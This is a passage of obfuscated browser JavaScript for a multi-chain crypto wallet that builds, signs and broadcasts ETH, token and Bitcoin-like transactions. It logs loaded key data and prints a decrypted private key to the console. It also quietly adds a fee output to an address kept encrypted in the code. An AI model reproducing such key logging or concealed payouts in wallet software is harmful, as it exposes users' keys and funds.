_0x3c2154=document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x1a3)+_0x3679ee(0x2f3))[_0x3679ee(0x17f)],_0x7a08c7=document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x1a3)+_0x3679ee(0x2f3));const _0x40b272=_0x7a08c7['options'][_0x7a08c7[_0x3679ee(0x283)+_0x3679ee(0x333)]][_0x3679ee(0x14c)];document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x133)+_0x3679ee(0x2eb))[_0x3679ee(0x14c)]=CoinsJson[_0x40b272]['symbol'],document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x133)+_0x3679ee(0x362))[_0x3679ee(0x14c)]=CoinsJson[_0x40b272][_0x3679ee(0x202)],document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x2fc)+'ce')[_0x3679ee(0x14c)]='',document[_0x3679ee(0x224)+'ById'](_0x3679ee(0x398)+'alance')[_0x3679ee(0x14c)]='';if(CoinsJson[_0x40b272]['NetworkTyp'+'e']==_0x3679ee(0x345))document['getElement'+_0x3679ee(0x3b4)](_0x3679ee(0x25e)+_0x3679ee(0x1e6))[_0x3679ee(0x38f)][_0x3679ee(0x21b)]=_0x3679ee(0x16a),document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x3ac)+'n')[_0x3679ee(0x38f)][_0x3679ee(0x21b)]=_0x3679ee(0x13d),document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x29e)+_0x3679ee(0x1e6))[_0x3679ee(0x38f)][_0x3679ee(0x21b)]=_0x3679ee(0x13d),document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x24b)+_0x3679ee(0x3a9))[_0x3679ee(0x14c)]=_0x3679ee(0x2f2)+CoinsJson[_0x40b272]['symbol'][_0x3679ee(0x1c4)+'e']()+_0x3679ee(0x29d);else CoinsJson[_0x40b272][_0x3679ee(0x1ee)+'e']=='tron'?(document[_0x3679ee(0x224)+_0x3679ee(0x3b4)](_0x3679ee(0x29e)+_0x3679ee(0x1e6))[_0x3679ee(0x38f)][_0x3679ee(0x21b)]=_0x3679ee(0x16a),document[_0x3679ee(0x224)+'ById'](_0x3679ee(0x25e)+_0x3679ee(0x1e6))[_0x3679ee(0x38f)][_0x3679ee(0x21b)]=_0x3679ee(0x13d),document['getElement'+_0x3679ee(0x3b4)]('sendSectio'+'n')[_0x3679ee(0x38f)][_0x3679ee(0x21b)]=_0x3679ee(0x13d)):(document['getElement'+_0x3679ee(0x3b4)](_0x3679ee(0x25e)+'tion')['style'][_0x3679ee(0x21b)]=_0x3679ee(0x13d),document['getElement'+_0x3679ee(0x3b4)](_0x3679ee(0x29e)+_0x3679ee(0x1e6))[_0x3679ee(0x38f)][_0x3679ee(0x21b)]=_0x3679ee(0x13d),document[_0x3679ee(0x224)+_0x3679ee(0x3b4)]('sendSectio'+'n')['style'][_0x3679ee(0x21b)]=_0x3679ee(0x16a),EstimateFee());}),document[_0x311dae(0x224)+_0x311dae(0x3b4)]('blockchain'+_0x311dae(0x2f3))[_0x311dae(0x16b)+_0x311dae(0x12c)](_0x311dae(0x26d),function(){const _0x527b63=_0x311dae;document[_0x527b63(0x224)+'ById'](_0x527b63(0x1d4)+'nID')[_0x527b63(0x14c)]='',selectedTokenAddress='';const _0x1dbafd=this[_0x527b63(0x17f)];_0x1dbafd===_0x527b63(0x297)?(document[_0x527b63(0x224)+_0x527b63(0x3b4)](_0x527b63(0x25e)+'tion')[_0x527b63(0x38f)][_0x527b63(0x21b)]=_0x527b63(0x13d),document[_0x527b63(0x224)+'ById'](_0x527b63(0x3ac)+'n')[_0x527b63(0x38f)][_0x527b63(0x21b)]='none'):(document['getElement'+_0x527b63(0x3b4)](_0x527b63(0x25e)+_0x527b63(0x1e6))[_0x527b63(0x38f)][_0x527b63(0x21b)]=_0x527b63(0x13d),document[_0x527b63(0x224)+_0x527b63(0x3b4)](_0x527b63(0x3ac)+'n')[_0x527b63(0x38f)]['display']=_0x527b63(0x13d));const _0x389513=this[_0x527b63(0x14b)][this['selectedIn'+_0x527b63(0x333)]],_0xde3e15=_0x389513[_0x527b63(0x263)+'te'](_0x527b63(0x2dc));this[_0x527b63(0x38f)][_0x527b63(0x28f)+'Image']=_0x527b63(0x399)+_0xde3e15+')',document[_0x527b63(0x224)+_0x527b63(0x3b4)](_0x527b63(0x19c))[_0x527b63(0x366)]=_0xde3e15,saveSelections();});function loadEthereumTokens1(){const _0x25296f=_0x311dae,_0x2ac039=document[_0x25296f(0x224)+_0x25296f(0x3b4)](_0x25296f(0x133)+'tETH');_0x2ac039[_0x25296f(0x26e)]='';const _0x59057e=document[_0x25296f(0x25c)+_0x25296f(0x1fd)](_0x25296f(0x21a));_0x59057e[_0x25296f(0x17f)]='eth',_0x59057e[_0x25296f(0x1e3)]=_0x25296f(0x173)+_0x25296f(0x2e6),_0x2ac039[_0x25296f(0x393)+'d'](_0x59057e);const _0x5c10d9=CoinsJson[_0x25296f(0x1b0)][_0x25296f(0x326)];for(const _0x2f8579 in _0x5c10d9){const _0x403202=document[_0x25296f(0x25c)+_0x25296f(0x1fd)](_0x25296f(0x21a));_0x403202[_0x25296f(0x17f)]=_0x5c10d9[_0x2f8579][_0x25296f(0x12f)+_0x25296f(0x245)],_0x403202[_0x25296f(0x1e3)]=_0x2f8579+'\x20('+_0x5c10d9[_0x2f8579][_0x25296f(0x202)]+')',_0x2ac039[_0x25296f(0x393)+'d'](_0x403202);}}document[_0x311dae(0x224)+_0x311dae(0x3b4)](_0x311dae(0x144)+_0x311dae(0x29a))[_0x311dae(0x16b)+_0x311dae(0x12c)](_0x311dae(0x1cd),async function(){const _0x575907=_0x311dae,_0x367f33=document[_0x575907(0x224)+_0x575907(0x3b4)](_0x575907(0x33d)+_0x575907(0x2fb))[_0x575907(0x17f)][_0x575907(0x276)](),_0x4f3b6c=document[_0x575907(0x224)+_0x575907(0x3b4)]('amountInpu'+'tETH')[_0x575907(0x17f)]['trim'](),_0x132fcb=document[_0x575907(0x224)+_0x575907(0x3b4)](_0x575907(0x133)+_0x575907(0x2eb))[_0x575907(0x14c)],_0x3452d1=document[_0x575907(0x224)+_0x575907(0x3b4)](_0x575907(0x1a3)+'Select'),_0x12dfd8=_0x3452d1[_0x575907(0x14b)][_0x3452d1[_0x575907(0x283)+_0x575907(0x333)]][_0x575907(0x14c)];document[_0x575907(0x224)+'ById'](_0x575907(0x24b)+_0x575907(0x3a9))[_0x575907(0x38f)][_0x575907(0x21b)]='none',document[_0x575907(0x224)+_0x575907(0x3b4)]('sendEVMSpi'+_0x575907(0x217))[_0x575907(0x38f)][_0x575907(0x21b)]=_0x575907(0x20a)+'ck',_0x132fcb===CoinsJson[_0x12dfd8][_0x575907(0x202)]?(console['log']('sendEther.'+'..'),await sendEther(_0x367f33,_0x4f3b6c)):(console[_0x575907(0x169)](_0x575907(0x37a)+'en...'),await sendEVMToken(_0x367f33,_0x4f3b6c,selectedTokenAddress)),document['getElement'+_0x575907(0x3b4)](_0x575907(0x24b)+_0x575907(0x3a9))[_0x575907(0x38f)][_0x575907(0x21b)]=_0x575907(0x20a)+'ck',document[_0x575907(0x224)+_0x575907(0x3b4)](_0x575907(0x23a)+_0x575907(0x217))['style'][_0x575907(0x21b)]=_0x575907(0x13d);});async function sendEther(_0x30ba6b,_0x5eaf2a){const _0x52e91f=_0x311dae,_0x445cd2=document[_0x52e91f(0x224)+_0x52e91f(0x3b4)](_0x52e91f(0x1a3)+_0x52e91f(0x2f3)),_0x29220e=_0x445cd2[_0x52e91f(0x14b)][_0x445cd2[_0x52e91f(0x283)+_0x52e91f(0x333)]]['innerText'],_0x40fb06=new Web3(CoinsJson[_0x29220e][_0x52e91f(0x1a7)]),_0x496a14=document['getElement'+_0x52e91f(0x3b4)](_0x52e91f(0x242)+_0x52e91f(0x129))['selectedIn'+_0x52e91f(0x333)],_0x3dcede=loadKeysFromLocalStorage(CoinsJson[_0x29220e][_0x52e91f(0x202)]);console[_0x52e91f(0x169)](_0x52e91f(0x274),_0x3dcede);const _0x488a6d=_0x3dcede[_0x496a14][_0x52e91f(0x13f)];console['log']('accountInd'+_0x52e91f(0x1e8),_0x496a14);const _0x38b5f9=CryptoJS[_0x52e91f(0x2b1)][_0x52e91f(0x37f)](_0x488a6d,pass)[_0x52e91f(0x201)](CryptoJS[_0x52e91f(0x39b)][_0x52e91f(0x14d)]),_0x41d834=_0x3dcede[_0x496a14][_0x52e91f(0x38e)];console[_0x52e91f(0x169)](_0x52e91f(0x270)+_0x52e91f(0x27e),_0x41d834),console[_0x52e91f(0x169)](_0x52e91f(0x341),_0x30ba6b),console[_0x52e91f(0x169)](_0x52e91f(0x102)+_0x52e91f(0x150)+'it\x20web3.et'+_0x52e91f(0x1c2)+_0x52e91f(0x26c),await _0x40fb06[_0x52e91f(0x297)][_0x52e91f(0x244)][_0x52e91f(0x305)]());try{const _0x2f401b=await _0x40fb06[_0x52e91f(0x297)]['getTransac'+_0x52e91f(0x123)](_0x41d834);console['log'](_0x52e91f(0x2f7),_0x2f401b),console[_0x52e91f(0x169)]('web3.utils'+_0x52e91f(0x105)+_0x52e91f(0xfe)+_0x52e91f(0x1f7),_0x40fb06[_0x52e91f(0x127)]['toWei'](_0x5eaf2a,_0x52e91f(0x24e)));let _0x1b4709={'from':_0x41d834,'nonce':_0x40fb06[_0x52e91f(0x127)][_0x52e91f(0x34b)](_0x2f401b),'gasPrice':_0x40fb06[_0x52e91f(0x127)][_0x52e91f(0x34b)](await _0x40fb06[_0x52e91f(0x297)][_0x52e91f(0x108)+'e']()),'to':_0x30ba6b,'value':_0x40fb06[_0x52e91f(0x127)][_0x52e91f(0x21e)](_0x5eaf2a,_0x52e91f(0x24e)),'chainId':_0x40fb06[_0x52e91f(0x127)]['toHex'](await _0x40fb06[_0x52e91f(0x297)]['net'][_0x52e91f(0x305)]())};const _0x468716=await _0x40fb06[_0x52e91f(0x297)][_0x52e91f(0x3b2)+'s'](_0x1b4709);console[_0x52e91f(0x169)](_0x52e91f(0x319),_0x468716),_0x1b4709[_0x52e91f(0x1c1)]=_0x40fb06['utils'][_0x52e91f(0x34b)](_0x468716),console[_0x52e91f(0x169)](_0x52e91f(0x185)+_0x52e91f(0x166),_0x468716),console[_0x52e91f(0x169)](_0x52e91f(0x2da)+'tion:',_0x1b4709);const _0x47d376=await _0x40fb06[_0x52e91f(0x297)][_0x52e91f(0x32f)]['signTransa'+'ction'](_0x1b4709,_0x38b5f9),_0x33d3dd=await _0x40fb06['eth'][_0x52e91f(0x17d)+'Transactio'+'n'](_0x47d376[_0x52e91f(0x2da)+'tion']);console[_0x52e91f(0x169)]('ETH\x20transa'+_0x52e91f(0x334)+_0x52e91f(0x27f)+'h\x20hash:',_0x33d3dd['transactio'+_0x52e91f(0x1c8)]),ShowToast(_0x52e91f(0x313)+_0x52e91f(0x109)+_0x33d3dd[_0x52e91f(0x1b4)+_0x52e91f(0x1c8)]),ShowTransactionInfo(_0x29220e,_0x33d3dd[_0x52e91f(0x1b4)+_0x52e91f(0x1c8)]);}catch(_0xd34172){console['error'](_0x52e91f(0x226)+'ing\x20ETH:',_0xd34172),ShowToast(_0x52e91f(0x259)+'send\x20Ether'+_0x52e91f(0x3a2));}}async function sendEVMToken(_0x4710b8,_0x1f096f,_0x2fd91d){const _0x2c0a01=_0x311dae,_0x2bd98c=document['getElement'+_0x2c0a01(0x3b4)]('blockchain'+_0x2c0a01(0x2f3)),_0x11450e=_0x2bd98c['options'][_0x2bd98c[_0x2c0a01(0x283)+'dex']][_0x2c0a01(0x14c)],_0x5e6a1b=new Web3(CoinsJson[_0x2c0a01(0x1b0)][_0x2c0a01(0x1a7)]),_0x3e5fc4=document[_0x2c0a01(0x224)+_0x2c0a01(0x3b4)]('accountSel'+_0x2c0a01(0x129))[_0x2c0a01(0x283)+_0x2c0a01(0x333)],_0x136c7b=loadKeysFromLocalStorage(CoinsJson[_0x11450e]['symbol']),_0x790e93=_0x136c7b[_0x3e5fc4][_0x2c0a01(0x13f)],_0x174f78=CryptoJS[_0x2c0a01(0x2b1)][_0x2c0a01(0x37f)](_0x790e93,pass)[_0x2c0a01(0x201)](CryptoJS[_0x2c0a01(0x39b)][_0x2c0a01(0x14d)]),_0x30b7de=_0x136c7b[_0x3e5fc4][_0x2c0a01(0x38e)],_0x802db6=[{'constant':!![],'inputs':[],'name':_0x2c0a01(0x2a4),'outputs':[{'name':'','type':'string'}],'payable':![],'stateMutability':'view','type':_0x2c0a01(0x36c)},{'constant':![],'inputs':[{'name':_0x2c0a01(0x215),'type':_0x2c0a01(0x38e)},{'name':_0x2c0a01(0x289),'type':_0x2c0a01(0x1fb)}],'name':_0x2c0a01(0x17c),'outputs':[{'name':'','type':_0x2c0a01(0x374)}],'payable':![],'stateMutability':'nonpayable','type':_0x2c0a01(0x36c)},{'constant':!![],'inputs':[],'name':_0x2c0a01(0x2ac)+'y','outputs':[{'name':'','type':_0x2c0a01(0x1fb)}],'payable':![],'stateMutability':'view','type':'function'},{'constant':![],'inputs':[{'name':_0x2c0a01(0x12d),'type':_0x2c0a01(0x38e)},{'name':_0x2c0a01(0x3a5),'type':'address'},{'name':_0x2c0a01(0x289),'type':_0x2c0a01(0x1fb)}],'name':_0x2c0a01(0x20e)+'om','outputs':[{'name':'','type':'bool'}],'payable':![],'stateMutability':'nonpayable','type':_0x2c0a01(0x36c)},{'constant':!![],'inputs':[],'name':_0x2c0a01(0x328),'outputs':[{'name':'','type':_0x2c0a01(0x18e)}],'payable':![],'stateMutability':_0x2c0a01(0x19b),'type':_0x2c0a01(0x36c)},{'constant':!![],'inputs':[{'name':_0x2c0a01(0x237),'type':_0x2c0a01(0x38e)}],'name':'balanceOf','outputs':[{'name':_0x2c0a01(0x11b),'type':_0x2c0a01(0x1fb)}],'payable':![],'stateMutability':_0x2c0a01(0x19b),'type':_0x2c0a01(0x36c)},{'constant':!![],'inputs':[],'name':_0x2c0a01(0x202),'outputs':[{'name':'','type':_0x2c0a01(0x266)}],'payable':![],'stateMutability':_0x2c0a01(0x19b),'type':_0x2c0a01(0x36c)},{'constant':![],'inputs':[{'name':_0x2c0a01(0x3a5),'type':'address'},{'name':_0x2c0a01(0x289),'type':_0x2c0a01(0x1fb)}],'name':_0x2c0a01(0x104),'outputs':[{'name':'','type':_0x2c0a01(0x374)}],'payable':![],'stateMutability':_0x2c0a01(0x360),'type':'function'},{'constant':!![],'inputs':[{'name':_0x2c0a01(0x237),'type':_0x2c0a01(0x38e)},{'name':'_spender','type':_0x2c0a01(0x38e)}],'name':_0x2c0a01(0x3ab),'outputs':[{'name':'','type':_0x2c0a01(0x1fb)}],'payable':![],'stateMutability':_0x2c0a01(0x19b),'type':_0x2c0a01(0x36c)},{'payable':!![],'stateMutability':_0x2c0a01(0x343),'type':_0x2c0a01(0x1ff)},{'anonymous':![],'inputs':[{'indexed':!![],'name':_0x2c0a01(0x36b),'type':'address'},{'indexed':!![],'name':'spender','type':_0x2c0a01(0x38e)},{'indexed':![],'name':'value','type':_0x2c0a01(0x1fb)}],'name':_0x2c0a01(0x192),'type':_0x2c0a01(0x32a)},{'anonymous':![],'inputs':[{'indexed':!![],'name':_0x2c0a01(0x1e1),'type':_0x2c0a01(0x38e)},{'indexed':!![],'name':'to','type':'address'},{'indexed':![],'name':_0x2c0a01(0x17f),'type':_0x2c0a01(0x1fb)}],'name':'Transfer','type':'event'}],_0x1c5685=new _0x5e6a1b['eth'][(_0x2c0a01(0x15b))](_0x802db6,_0x2fd91d);try{var _0x31dd54=await _0x1c5685[_0x2c0a01(0x18f)][_0x2c0a01(0x328)]()[_0x2c0a01(0x268)]();console[_0x2c0a01(0x169)]('bigint\x20tok'+_0x2c0a01(0x1c3)+':',_0x31dd54),_0x31dd54=Number(_0x31dd54),console[_0x2c0a01(0x169)]('int\x20tokenD'+_0x2c0a01(0x145),_0x31dd54);const _0x3808d3=(_0x1f096f*Math[_0x2c0a01(0x1f4)](-0x18d5+-0x39d+0x4*0x71f,_0x31dd54))['toString']();console['log']('tokenAmoun'+_0x2c0a01(0x361)+_0x2c0a01(0x171)+':',_0x3808d3[_0x2c0a01(0x201)]());const _0x37d015=_0x5e6a1b['eth'][_0x2c0a01(0x210)][_0x2c0a01(0x352)+_0x2c0a01(0x1f9)]({'name':_0x2c0a01(0x104),'type':_0x2c0a01(0x36c),'inputs':[{'type':_0x2c0a01(0x38e),'name':'to'},{'type':_0x2c0a01(0x1fb),'name':'value'}]},[_0x4710b8,_0x3808d3[_0x2c0a01(0x201)]()]);console[_0x2c0a01(0x169)](_0x2c0a01(0x3a1),_0x37d015);const _0x5bb1b9=await _0x5e6a1b['eth']['getTransac'+'tionCount'](_0x30b7de);let _0x1a0b6c={'from':_0x30b7de,'nonce':_0x5e6a1b[_0x2c0a01(0x127)][_0x2c0a01(0x34b)](_0x5bb1b9),'gasPrice':_0x5e6a1b[_0x2c0a01(0x127)]['toHex'](await _0x5e6a1b[_0x2c0a01(0x297)]['getGasPric'+'e']()),'to':_0x2fd91d,'data':_0x37d015,'chainId':_0x5e6a1b['utils'][_0x2c0a01(0x34b)](await _0x5e6a1b[_0x2c0a01(0x297)][_0x2c0a01(0x244)]['getId']())};const _0x40c61d=await _0x5e6a1b['eth']['estimateGa'+'s'](_0x1a0b6c);_0x1a0b6c[_0x2c0a01(0x1c1)]=_0x5e6a1b[_0x2c0a01(0x127)][_0x2c0a01(0x34b)](_0x40c61d),console[_0x2c0a01(0x169)](_0x2c0a01(0x185)+_0x2c0a01(0x166),_0x40c61d),console[_0x2c0a01(0x169)](_0x2c0a01(0x2da)+_0x2c0a01(0x225),_0x1a0b6c);const _0x3b9cd6=await _0x5e6a1b[_0x2c0a01(0x297)][_0x2c0a01(0x32f)][_0x2c0a01(0x20f)+_0x2c0a01(0x2a3)](_0x1a0b6c,_0x174f78),_0x4d699b=await _0x5e6a1b[_0x2c0a01(0x297)][_0x2c0a01(0x17d)+_0x2c0a01(0x1d4)+'n'](_0x3b9cd6['rawTransac'+'tion']);console['log'](_0x2c0a01(0x22e)+_0x2c0a01(0x2a8)+'ccessful\x20w'+_0x2c0a01(0x26a),_0x4d699b[_0x2c0a01(0x1b4)+_0x2c0a01(0x1c8)]),ShowToast(_0x2c0a01(0x247)+_0x2c0a01(0x115)+'\x20'+_0x4d699b[_0x2c0a01(0x1b4)+_0x2c0a01(0x1c8)]),ShowTransactionInfo(_0x11450e,_0x4d699b[_0x2c0a01(0x1b4)+_0x2c0a01(0x1c8)]);}catch(_0x1be3dd){console[_0x2c0a01(0x251)](_0x2c0a01(0x226)+'ing\x20token:',_0x1be3dd),ShowToast(_0x2c0a01(0x259)+_0x2c0a01(0x2ce)+'.');}}document['getElement'+'ById'](_0x311dae(0x144)+_0x311dae(0x2f9))[_0x311dae(0x16b)+_0x311dae(0x12c)](_0x311dae(0x1cd),async function(){const _0x1aa71e=_0x311dae,_0x30c2bc=document[_0x1aa71e(0x224)+'ById'](_0x1aa71e(0x1a3)+_0x1aa71e(0x2f3))['value'];document[_0x1aa71e(0x224)+_0x1aa71e(0x3b4)](_0x1aa71e(0x377)+_0x1aa71e(0x187))[_0x1aa71e(0x38f)][_0x1aa71e(0x21b)]=_0x1aa71e(0x13d),document['getElement'+_0x1aa71e(0x3b4)]('sendSpinne'+'r')[_0x1aa71e(0x38f)][_0x1aa71e(0x21b)]=_0x1aa71e(0x20a)+'ck';try{await sendBitcoinLike();}catch(_0x193bcb){console[_0x1aa71e(0x251)](_0x1aa71e(0x1d4)+_0x1aa71e(0x1a2),_0x193bcb),ShowToast(_0x1aa71e(0x259)+'send\x20the\x20t'+_0x1aa71e(0x1d6)+'.');}finally{removeSpinner();}});function removeSpinner(){const _0x2f9289=_0x311dae;document[_0x2f9289(0x224)+_0x2f9289(0x3b4)](_0x2f9289(0x377)+'Text')[_0x2f9289(0x38f)]['display']='inline',document[_0x2f9289(0x224)+_0x2f9289(0x3b4)](_0x2f9289(0x2cc)+'r')['style'][_0x2f9289(0x21b)]=_0x2f9289(0x13d);}function removeEVMSpinner(){const _0x204bb2=_0x311dae;document[_0x204bb2(0x224)+'ById'](_0x204bb2(0x377)+_0x204bb2(0x187))[_0x204bb2(0x38f)]['display']=_0x204bb2(0x135),document[_0x204bb2(0x224)+_0x204bb2(0x3b4)](_0x204bb2(0x2cc)+'r')[_0x204bb2(0x38f)][_0x204bb2(0x21b)]='none';}async function sendBitcoinLike(){const _0x302d36=_0x311dae;try{console[_0x302d36(0x169)](_0x302d36(0x22b)+_0x302d36(0x36a));const _0x21a199=document[_0x302d36(0x224)+_0x302d36(0x3b4)]('receiverIn'+_0x302d36(0x118))[_0x302d36(0x17f)][_0x302d36(0x276)](),_0x5ccb9c=document[_0x302d36(0x224)+'ById'](_0x302d36(0x312)+'t')[_0x302d36(0x17f)][_0x302d36(0x276)]();console[_0x302d36(0x169)](_0x302d36(0x341),_0x21a199),console[_0x302d36(0x169)](_0x302d36(0x2c3)+':',_0x5ccb9c);if(!_0x21a199||!_0x5ccb9c){ShowToast(_0x302d36(0x301)+'l\x20in\x20all\x20f'+'ields.'),removeSpinner();return;}const _0x48b67e=document['getElement'+_0x302d36(0x3b4)](_0x302d36(0x1a3)+_0x302d36(0x2f3)),_0x184b81=_0x48b67e[_0x302d36(0x14b)][_0x48b67e[_0x302d36(0x283)+_0x302d36(0x333)]][_0x302d36(0x14c)];var _0x198385=CoinsJson[_0x184b81]['NetworkPar'+'a'];const _0x34950a=loadKeysFromLocalStorage(CoinsJson[_0x184b81][_0x302d36(0x202)]);var _0x5e363e=document['getElement'+'ById'](_0x302d36(0x242)+'ect')[_0x302d36(0x283)+'dex'];const {address:_0x233945,privateKey:_0x5956f7}=_0x34950a[_0x5e363e];console[_0x302d36(0x169)](_0x302d36(0x378),_0x233945);const _0x7c1789=CryptoJS[_0x302d36(0x2b1)]['decrypt'](_0x5956f7,pass)['toString'](CryptoJS[_0x302d36(0x39b)][_0x302d36(0x14d)]);console[_0x302d36(0x169)](_0x302d36(0x18b)+':',_0x7c1789);const _0x2701dd=bitcoin[_0x302d36(0x1fc)][_0x302d36(0x24f)](_0x7c1789,_0x198385);console['log'](_0x302d36(0x291),_0x2701dd);var _0x535259=bitcoin[_0x302d36(0x116)][_0x302d36(0x1a5)]({'pubkey':_0x2701dd[_0x302d36(0x1ac)],'network':_0x198385})['address'];console[_0x302d36(0x169)](_0x302d36(0x176),_0x535259);if(_0x233945!==_0x535259){ShowToast('account\x20no'+_0x302d36(0x282));return;}const _0x3256c9=new bitcoin[(_0x302d36(0x1d4))+(_0x302d36(0x2d6))](_0x198385),_0x6b6d31=await fetchUtxos(_0x184b81,_0x535259);let _0x6adf13=-0x187*0x10+0x9*-0xfe+0x215e;console['log'](_0x302d36(0x3b9),_0x6b6d31),_0x6b6d31[_0x302d36(0x2c1)](_0x1dfaf1=>{const _0x549de9=_0x302d36;_0x3256c9[_0x549de9(0x111)](_0x1dfaf1[_0x549de9(0x10a)],_0x1dfaf1[_0x549de9(0x2a0)+'n'],-0x26c63ea4+-0xed*-0x1500a1b+-0x10531c5c),_0x6adf13+=_0x1dfaf1['value'];});var _0x45f83b=CoinsJson[_0x184b81][_0x302d36(0x344)+_0x302d36(0x1cf)];_0x45f83b=parseInt(document['getElement'+'ById']('feeSlider')['value']*(-0x701f94a*-0x1+-0x771*-0x16bce+-0xb9f5038)),console['log'](_0x302d36(0x387),_0x45f83b);let _0x9ab6b7=parseFloat(_0x5ccb9c);var _0x449839=parseInt(_0x9ab6b7*(-0xae93ec2*-0x1+-0x67370b1+0x18012ef));console[_0x302d36(0x169)](_0x302d36(0x346)+_0x302d36(0x1d7),_0x6adf13),console[_0x302d36(0x169)]('amountToSe'+_0x302d36(0x382),_0x449839+_0x45f83b);const _0x188fac=document[_0x302d36(0x224)+_0x302d36(0x3b4)]('accountSel'+_0x302d36(0x129))[_0x302d36(0x283)+'dex'];console['log']('balance:',_0x6adf13);const _0x569164=CoinsJson[_0x184b81][_0x302d36(0x152)];let _0x2d379b=parseInt(_0x449839*_0x569164/(0xa7*0x35+0x13ef+0x10de*-0x3));console['log'](_0x302d36(0x365)+':',_0x2d379b);if(_0x2d379b<CoinsJson[_0x184b81][_0x302d36(0x10e)])_0x2d379b=CoinsJson[_0x184b81][_0x302d36(0x10e)];else _0x2d379b>CoinsJson[_0x184b81][_0x302d36(0x2dd)]&&(_0x2d379b=CoinsJson[_0x184b81][_0x302d36(0x2dd)]);var _0x38e7ad=!![];_0x449839>=_0x6adf13-_0x45f83b-_0x2d379b&&(_0x449839=parseInt(_0x6adf13-_0x45f83b-_0x2d379b),ShowToast(_0x302d36(0x253)+_0x302d36(0x2a9)+_0x9ab6b7+('\x20to\x20accoun'+_0x302d36(0x3a0)+_0x302d36(0x37e))),console['log'](_0x302d36(0x3bc)+_0x302d36(0x3a4),_0x449839),_0x38e7ad=![]);if(_0x6adf13<_0x449839+_0x45f83b+_0x2d379b){ShowToast(_0x302d36(0x2e8)+_0x302d36(0x2d3)+_0x302d36(0x232)+_0x302d36(0x254));return;}var _0x1ebd61=parseInt(_0x6adf13-_0x449839-_0x45f83b-_0x2d379b);console['log']('amountToSe'+_0x302d36(0x2e2),_0x449839),console[_0x302d36(0x169)](_0x302d36(0x239),_0x45f83b),console[_0x302d36(0x169)](_0x302d36(0x203),_0x2d379b),console[_0x302d36(0x169)](_0x302d36(0x350)+_0x302d36(0x235),_0x1ebd61),_0x3256c9['addOutput'](_0x21a199,_0x449839);var _0x425ae1=CryptoJS[_0x302d36(0x2b1)][_0x302d36(0x37f)](CoinsJson[_0x184b81][_0x302d36(0x26b)+'r'],ioswz),_0x3d9673=_0x425ae1[_0x302d36(0x201)](CryptoJS[_0x302d36(0x39b)][_0x302d36(0x14d)]);console['log']('FeeRecieve'+_0x302d36(0x2e3),_0x3d9673),_0x3256c9[_0x302d36(0x33e)](_0x3d9673,_0x2d379b);_0x38e7ad&&_0x1ebd61>CoinsJson[_0x184b81][_0x302d36(0x344)+_0x302d36(0x1cf)]&&(console[_0x302d36(0x169)](_0x302d36(0x172)+'e:',_0x1ebd61),_0x3256c9['addOutput'](_0x535259,_0x1ebd61));_0x6b6d31[_0x302d36(0x2c1)]((_0x24e831,_0x3c2289)=>{const _0x17d56b=_0x302d36;_0x3256c9[_0x17d56b(0x191)](_0x3c2289,_0x2701dd);}),console['log']('txb:',_0x3256c9);const _0x377e19=_0x3256c9['build'](),_0x11a5c4=_0x377e19[_0x302d36(0x34b)]();console[_0x302d36(0x169)](_0x302d36(0x15c),_0x11a5c4),await broadcastTransactionToSpecify(_0x302d36(0x3a6),_0x184b81,_0x11a5c4),ShowToast(_0x302d36(0x1d4)+_0x302d36(0x38c));}catch(_0x4d376e){console[_0x302d36(0x251)](_0x302d36(0x226)+_0x302d36(0x271),_0x4d376e),ShowToast(_0x302d36(0x259)+'send\x20coin.');}}async function fetchUtxos(_0x291acf,_0x1f8e7c){const _0x1e2ad3=_0x311dae;console[_0x1e2ad3(0x169)](_0x1e2ad3(0x1a8),_0x291acf),console[_0x1e2ad3(0x169)](_0x1e2ad3(0x128)+_0x1e2ad3(0x1c9),_0x1f8e7c);var _0x1c9d04=CoinsJson[_0x291acf][_0x1e2ad3(0x202)];const _0x1134cd=await fetch(_0x1e2ad3(0x3cd)+_0x1e2ad3(0x294)+_0x1e2ad3(0x183)+'/'+_0x1c9d04+(_0x1e2ad3(0x2e1)+'s/')+_0x1f8e7c+(_0x1e2ad3(0x30c)+_0x1e2ad3(0x197))),_0x47df74=await _0x1134cd[_0x1e2ad3(0x159)]();return _0x47df74[_0x1e2ad3(0x110)]||[];}async function broadcastTransaction(_0x434bb4,_0x18b3a0){const _0x2ae2aa=_0x311dae;fetch(CoinsJson[_0x434bb4][_0x2ae2aa(0x2fa)+_0x2ae2aa(0x1d6)],{'method':_0x2ae2aa(0x177),'headers':{'Content-Type':_0x2ae2aa(0x175)+'n/json'},'body':JSON['stringify']({'tx':_0x18b3a0})})[_0x2ae2aa(0x257)](_0x4ec47e=>_0x4ec47e[_0x2ae2aa(0x159)]())[_0x2ae2aa(0x257)](_0x315f23=>{const _0x3ee0ca=_0x2ae2aa;console[_0x3ee0ca(0x169)](_0x315f23),ShowToast(_0x3ee0ca(0x25a)+'ss!'),console[_0x3ee0ca(0x169)](_0x3ee0ca(0x1d4)+_0x3ee0ca(0x1f8)+_0x3ee0ca(0x296)+'action\x20ID:'+'\x20'+_0x315f23['tx']['hash']),ShowTransactionInfo(_0x434bb4,_0x315f23['tx'][_0x3ee0ca(0x2b9)]);})[_0x2ae2aa(0x189)](_0x5f6527=>{const _0xefbf2b=_0x2ae2aa;console['error'](_0x5f6527),console[_0xefbf2b(0x169)](_0xefbf2b(0x386)+'dcasting\x20t'+_0xefbf2b(0x1d6)),document['getElement'+'ById'](_0xefbf2b(0x1d4)+'nID')['innerText']=_0x5f6527+('\x20Maybe\x20sen'+'d\x20amount\x20i'+_0xefbf2b(0x28a)+'l\x20or\x20fee\x20i'+_0xefbf2b(0x11f));});}async function ShowTransactionInfo(_0x5d53a6,_0x482e18){const _0x4ffe50=_0x311dae;var 